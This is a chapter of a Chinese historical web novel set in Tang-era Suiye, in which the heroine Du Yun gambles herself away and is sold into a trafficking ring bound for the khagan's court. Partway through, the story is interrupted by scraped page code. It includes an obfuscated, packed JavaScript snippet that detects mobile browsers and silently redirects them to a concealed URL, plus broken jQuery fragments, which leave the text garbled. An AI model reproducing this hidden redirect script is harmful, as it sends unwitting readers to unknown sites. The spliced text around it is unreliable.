60. 赌局
作品:《大唐霓裳歌》 那日一早,火神寺弟子塔尼尾随着寺中贵客去了南市。
那女子在南市中弯弯绕绕游荡一阵,先是去当铺卸了钗环,去脂粉铺子抹了妆容,又到碎叶酒楼点了一桌子菜。
最后吃饱喝足了,走进主城边上一条不算起眼的小路上。
说是小路,却是碎叶城中人人都认得的——那条街以城中最大的赌坊闻名。
这一会儿,城中还半醒未醒,赌坊中进进出出的人也不多,想必都是上了头的资深赌徒。寺中这位客人,听闻还是米扎尔家来的,怎还有这般恶习。
塔尼对此深恶痛绝。她跟到这儿,已是瞌睡了——昨晚一夜未睡,未来得及回寺中休息,又被派来跟随这位贵客,不由得平白滋生怨怼。她瞧着这位吃喝玩乐不过做些寻常事罢了,这有什么可跟的?
可寺中的吩咐,她又不敢当真怠慢。见赌坊中许久没有动静,终是耐不住进去瞧了瞧。
整个青驼赌坊的客人,正围着中间一处牌桌看热闹。
塔尼对这些赌徒没有兴趣,更无意旁观赌局,只想找到她在跟的人。可扫视一圈,也没见那位贵客,心下一惊,正不知所措。
谁知这个时候,“啪”地一声铜骰掷出,一个女人随即站到了牌桌之上,兴奋地红着脸,手舞足蹈:“大!大!!”
塔尼脑袋嗡的一声,都不知是该看那女子,还是看那骰子。
好消息,要跟的人没丢。
坏消息,贵客跟人下注,赌注是她自己。
塔尼的心绪与那牌桌上的骰子一般呼啦啦的晕头转向:寺里只让跟着人,可没让她做什么。可这贵客若是输了这一把,她火神寺是插手还是不插手?
只盼着这骰子不要停下来才好。
可那骰子渐渐地越来越慢下来,杜筠目光一闪,将骰杯扣下,几乎是蹲在牌桌上,挑衅般看着对面的人:“我赌大。”
骰杯一开,里头躺着的是赤条条的一个“参”字。
再看那一边的男子,瞧着仪表堂堂,一见那骰子上的字,便透出一股子恨意来:“别忘了,你若输了便跟我走,可是说好的。”
贵客随那男子离开了。
走的时候不见半点沮丧,倒有一点......杀气腾腾的。
塔尼看得失了神,好半天才想起来,连忙拉住身边的人问:“那男子是谁?”
那人瞥了她一眼:“客官新来的吧?郭磊,京城来的。自从来了碎叶,跟住在这青驼赌坊似的,日日都能见他。”
他似是看到塔尼面上的怅然若失,安抚道:“不必惋惜,不是姑娘想的那样,这俩人认识。”
塔尼彻底蒙了:“此话怎讲?”
那人便告诉她,他昨夜便在梨院见过那位夫人与郭磊,夫人自称是郭磊的长辈,唤作晚姨。
今日夫人来赌坊,第一件事便是要寻那郭磊。说是郭磊他爹将他逐出了家门,背地里却放不下心来,知道他儿子好赌,托她来瞧瞧。
他便把郭磊欠下的账本拿给她看。原以为这下郭磊的账总该还上了,谁知那位夫人捉着郭磊,便要与他赌一场,一开始还只是赌银两,到后来上了头,索性赌起身家来。
原话是这么说的:“今日若是你输了,你便跟我回去。若是我输了,我跟你回去。”
也不知这两者有何区别。可她信誓旦旦的样子,像是胜券在握一般,他还以为,是长安来了赌神。
反正郭磊是极为兴奋地接下了。谁知她到最后一把都没赢下来。两个人生死决战一般,哪里像是老乡亲戚,倒像是恨透了彼此。
刘生摇摇头:“愈输愈投入,乃是赌场大忌。”
奥莉与毗伽听完,已是失语。
还是奥莉先犹豫地开了口:“你说那郭公子......可会是杜姑娘的情郎?”
不论谁输了,都得跟着另一位回去。这话听起来,实在暧昧得很。
“不能啊。”塔尼迅速否认了这个说法:“郭公子昨晚管贵客唤晚姨呢。听闻她还说,郭公子小时候..….她还抱过他。”
称一声“晚姨”也就罢了,年纪相仿的人之间差着辈分,这样的事也并不少见。只是杜姑娘不过二十上下的年纪,哪来“小时候抱过”的这一说?
伤害不大,侮辱性极强。
奥莉抽了抽嘴角:“青梅竹马?”
“也或是真仇家。”毗伽深吸一口气,捋捋捋他散漫的长发:“且不提这些。昨夜,她去了梨院。他们是在梨院遇上的。”
他对塔尼道:“去问问赌坊,这个郭磊住在何处,做什么的?和崔四有何关系?”
自她那日将他买下,他已知道这女子思路清奇,似有章法,又似乱来一气。她干出点什么事都不奇怪的。
“还有,她随那赌徒走了,那她身边那个昆仑奴去哪了?”
塔尼愣在原地。
入赌坊后,她一心只盯着贵客,压根就没见过昆仑奴。
****
郭磊是真缺银两了。
杜筠刚随他回去,他便绑了她,转手送到了崔四那里。
梨院大门紧闭的时候,似与旁的清雅院落并无二致。昨夜的彩灯依然高悬,乐伶舞姬却是不知所踪,也不知藏去了哪里。
一夜繁华,到第二日竟是门庭冷落,像是只有崔四一人独居于此一般,冷冷清清。
崔四见到她,面上浮起一丝怒意:“我说过的话,你都忘了?找了半天,就找到这么个人?”
他原就长得如个芋头一般,如今红了脸,更像是熟透了那般滑稽。
杜筠心下却是一阵慌张:郭磊与她说过,他的货都是要进牙庭的。崔四管这叫“明货”,市面上买来的,外头抢来的,稍有姿色,先向牙庭中送。
反正进了牙庭,从此便是庭中的人,也再出不来,自也没有机会被人发现来路。
有“明货”,自然也有“暗货”。只是这暗货是什么,郭磊说了半天,也说不清。只说,那是崔四真正的心腹,常年只在梨院之中。
“暗货”一词,倒是容易让人想起庭州那舞姬提起的“深渊”一事,或是与阿里曼有什么关系,或许就是魁首与舞姬的出身也未可知。
不用说也知道,郭磊没机会知道那些,不然这大嘴巴必定说得碎叶城中人尽皆知。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178093|143428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这会儿,杜筠站在崔四跟前,双手反绑,嘴被堵上,一句话也说不出来。低眉顺目站在一旁,一脸惊慌。
“摆渡使,我记着呢。不找唐人,容易滋生事端。”郭磊陪着讨好的笑:“可这人是个流民,我已细细查过了,确是新来的碎叶城,快快送去了便是。”
崔四面色稍霁,仍是有些不满地看着他,又上下打量了杜筠:面前这女子面容憔悴,身上衣衫蹭得都是泥泞与血迹。
他绕着她看了一圈,细看了她衣衫上的血迹,又翻了翻她的手掌,冷哼一声,去了她口中布条,拔刀架上了她的喉间:“哪来的,自己说。”
郭磊吓了一跳:“使不得,摆渡使。可汗今晚便要人,咱们可就差这一个人了。”
崔四刀一收,指向了郭磊:“我问你了吗?!”
冷汗不自觉的滑落下来,滑落到颈间。
杜筠清楚地意识到,这是一场博弈。崔四不知为何,着急要人,这是她的机会。他对她的身份有疑,若是说不明白,或许最坏的下场是,便是丧命于此。
这是真正目无纲纪,三教九流之外之人。
她顺势便是一跪,想着昨夜梁子承的事,一把鼻涕一把泪便泉涌而下:“大人饶命,妾来自伊州城。我家阿弟随一个商人来了碎叶便杳无音信,妾想来碎叶寻他,可在这碎叶举目无亲,不知从何寻起。大人可否帮我?”
她边说便发抖,真像是怕极了。
“叫什么?”
“若扎。”
崔四看着她,若有所思,也不知是想了些什么,竟当真收了刀,抛出一个钱袋给郭磊:“算她好命,下不为例。”
“碎叶城丢的人多了,凭你一人自然是寻不到。”他看了看地上的杜筠,挂上令人作呕的笑容:“今夜随我入牙庭。伺候好了,说不得可汗便帮你寻亲呢。”
杜筠被送进一处偏僻的院子里。
院中女子清一色的蒙着面,看轮廓的确都是胡人面孔,只是大多也并非是本地的长相,亦有金发的,怕是来自更遥远的地方。
此时,她们正端着酒盏,练习斟酒之仪。
崔四吩咐几句便离开,而杜筠被带往一处房中梳洗,穿上与他人一般的衣衫,蒙上面,被带到院中,与她们一起。
那些女子大多不会说汉文,杜筠试图跟她们说几句,到头来却是自讨没趣,一句有用的都没问出来。
末了,只得硬着头皮去讨好那领头的女子。
她是这院中除去杜筠外唯一的一张汉人面孔,只是她站在那边一动不动地盯着众人,面若冰霜。眉描得细细的,眼底皆透着凉色,只是走近都令人身上发寒。
杜筠小心翼翼过去:“这位姊姊,不知如何称呼?”
女子瞥了她一眼,不说话。
“我先头听说,我们今晚要去深渊,姊姊可知道是在何处?”
冷面女子不自觉挑了眉,如临大敌一般:“你哪听来的?”
杜筠不禁瑟缩了一下:“来时听崔大人说的。”
“胡说八道。”女子盯着她看了一会儿,冷声道:“不该问的别问,小心你的狗命。”